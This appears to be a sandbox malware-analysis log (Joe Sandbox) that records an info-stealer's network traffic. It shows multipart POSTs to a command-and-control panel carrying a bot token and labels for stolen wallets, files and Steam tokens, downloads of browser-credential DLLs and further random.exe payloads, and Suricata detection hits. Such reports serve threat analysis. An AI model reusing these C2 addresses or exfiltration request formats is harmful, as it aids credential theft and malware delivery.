Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file"------IIDAAFBGDBKJJJKFIIIJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="message"wallets------FCBAECGIEBKKFHIDAKEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="message"files------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="file"------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="message"ybncbhylepme------FHIDAKFIJJKJJJKEBKJE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKKFHDAKECFHIDHJDAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKFHDAKECFHIDHJDAAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 46 48 44 41 4b 45 43 46 48 49 44 48 4a 44 41 41 41 2d 2d 0d 0a Data Ascii: ------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AKKFHDAKECFHIDHJDAAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKKFHDAKECFHIDHJDAAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 38 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009855001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49782 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49915 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:65466 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:65493 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE7CC60 PR_Recv,

0_2_6CE7CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
